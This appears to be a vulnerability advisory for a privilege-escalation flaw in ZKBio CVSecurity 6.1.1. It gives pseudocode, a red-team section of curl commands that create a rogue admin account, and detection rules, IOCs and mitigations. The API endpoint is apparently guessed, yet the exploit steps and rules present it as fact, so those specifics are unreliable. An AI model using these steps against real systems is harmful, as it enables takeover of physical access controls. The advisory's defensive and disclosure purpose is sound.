CVE-2024-35433

Executive Summary

CVE-2024-35433 is an Incorrect Access Control vulnerability in ZKTeco ZKBio CVSecurity version 6.1.1. An authenticated user without the necessary permissions to manage users can exploit this flaw to create a new administrator account. This allows privilege escalation from a low-privileged authenticated user to a full administrative user, potentially leading to complete compromise of the biometric security system. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone enterprise software product. The risk is primarily in the software supply chain of the organization deploying ZKBio CVSecurity, as the product is used for physical access control and identity management.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs a valid low-privileged account.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – An admin can access all user data, including biometric templates.
• Integrity (I): High (H) – An admin can modify system configurations and user records.
• Availability (A): High (H) – An admin can disrupt system operations.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 8.8 (High)

Threat Level: High. The vulnerability is trivial to exploit once authenticated, and it leads to full system compromise.

Deep Dive & Mechanics

The vulnerability lies in the access control mechanism of ZKBio CVSecurity's user management API. The application fails to properly enforce authorization checks when processing requests to create new users. Specifically, the endpoint responsible for user creation does not verify that the requesting user has the "manage users" permission.

Root Cause: The server-side code likely checks for authentication (valid session token) but does not perform a granular permission check for the createUser action. This allows any authenticated user, regardless of their assigned role, to call the administrative function.

Attack Flow:

1. Attacker obtains a valid low-privileged session (e.g., by logging in with a standard employee account).
2. Attacker intercepts the API call used by the admin interface to create users (e.g., POST /api/users/create).
3. Attacker crafts a request with the necessary parameters (username, password, role=admin) and sends it using their low-privileged session token.
4. The server processes the request and creates a new administrator account.
5. Attacker logs in with the new admin account and gains full control.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Pseudocode):

@app.route('/api/users/create', methods=['POST'])
@login_required
def create_user():
    # Only checks if user is authenticated
    data = request.get_json()
    username = data['username']
    password = data['password']
    role = data.get('role', 'user')
    
    # Missing permission check
    new_user = User(username=username, password=hash(password), role=role)
    db.session.add(new_user)
    db.session.commit()
    return jsonify({'status': 'success'}), 201

Patched Code (Hypothetical):

@app.route('/api/users/create', methods=['POST'])
@login_required
@permission_required('manage_users')  # Added permission check
def create_user():
    data = request.get_json()
    username = data['username']
    password = data['password']
    role = data.get('role', 'user')
    
    # Only admins can create other admins
    if role == 'admin' and not current_user.has_permission('manage_admin_roles'):
        return jsonify({'error': 'Insufficient permissions'}), 403
    
    new_user = User(username=username, password=hash(password), role=role)
    db.session.add(new_user)
    db.session.commit()
    return jsonify({'status': 'success'}), 201

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid low-privileged account on ZKBio CVSecurity 6.1.1.
• Network access to the ZKBio CVSecurity web interface (typically port 80/443).
• A tool like Burp Suite, cURL, or Postman.

Exploitation Steps:

1. Authenticate and obtain session cookie:

   curl -X POST https://target-ip/api/login -d '{"username":"lowuser","password":"lowpass"}' -c cookies.txt
   

2. Create a new admin user:

   curl -X POST https://target-ip/api/users/create \
     -b cookies.txt \
     -H "Content-Type: application/json" \
     -d '{"username":"hackeradmin","password":"P@ssw0rd!","role":"admin"}'
   

3. Verify admin access:

   curl -X POST https://target-ip/api/login -d '{"username":"hackeradmin","password":"P@ssw0rd!"}' -c admin_cookies.txt
   curl -X GET https://target-ip/api/users -b admin_cookies.txt
   

Expected Result: The server returns a 201 Created response, and the attacker can now log in with full administrative privileges.

Blue Team

Detection:

• Monitor for unusual user creation events, especially from non-admin IP addresses.
• Alert on API calls to /api/users/create where the requesting user's role is not "admin".
• Look for rapid succession of login attempts followed by user creation from the same source IP.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search "/api/users/create" AND status=201
| eval requester_role=if(match(uri,"role=admin"), "admin", "user")
| where requester_role!="admin"
| table _time, clientip, user, uri, status

Prevention:

• Implement strict role-based access control (RBAC) on the API gateway or web application firewall (WAF).
• Use a WAF rule to block requests to /api/users/create from non-admin sessions.
• Enable audit logging for all user management operations.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /api/users/create with JSON body containing "role":"admin".
  • Unusual login events from newly created admin accounts.
  • Source IP addresses that are not part of the administrative subnet.

• System IOCs:

  • New user accounts with administrative privileges created outside of normal business processes.
  • Audit log entries showing user creation by a non-admin user.
  • Changes to system configuration or user database.

• File IOCs:

  • Log entries in the application logs (e.g., zkbio.log) showing create_user action by a low-privileged user.

Detection Engineering

YARA Rule

rule CVE_2024_35433_ZKBio_PrivEsc {
    meta:
        description = "Detects exploitation attempts for CVE-2024-35433 in ZKBio CVSecurity logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-35433"
    strings:
        $s1 = "/api/users/create" ascii wide nocase
        $s2 = "role\":\"admin\"" ascii wide nocase
        $s3 = "201 Created" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-35433 - ZKBio CVSecurity Privilege Escalation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit incorrect access control in ZKBio CVSecurity
author: Valters IT
date: 2024/01/01
logsource:
    category: web
    product: zkbio_cvsecurity
detection:
    selection:
        cs-uri-stem: "/api/users/create"
        sc-status: 201
        cs-username: "*"
    filter:
        cs-username: "admin*"
    condition: selection and not filter
falsepositives:
    - Legitimate admin user creation
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35433 ZKBio CVSecurity Privilege Escalation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/users/create"; http_uri; content:"role\":\"admin\""; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable low-privileged accounts if not strictly necessary, or restrict their network access.
2. Implement a WAF rule to block requests to /api/users/create from any user whose session does not have the manage_users permission.
3. Enable verbose audit logging for all user management API calls.

Long-term Fixes:

• Vendor Patch: Contact ZKTeco for an official patch. If unavailable, consider upgrading to a newer version if one is released.
• Code Fix: If source code is available, add a permission check before processing user creation requests.
• Network Segmentation: Place the ZKBio CVSecurity server on a separate VLAN with strict access controls.
• Regular Audits: Periodically review user accounts and permissions for anomalies.

Workaround:

• Modify the application's configuration to disable the user creation API for non-admin roles at the web server level (e.g., using Apache/Nginx location blocks).

Valters IT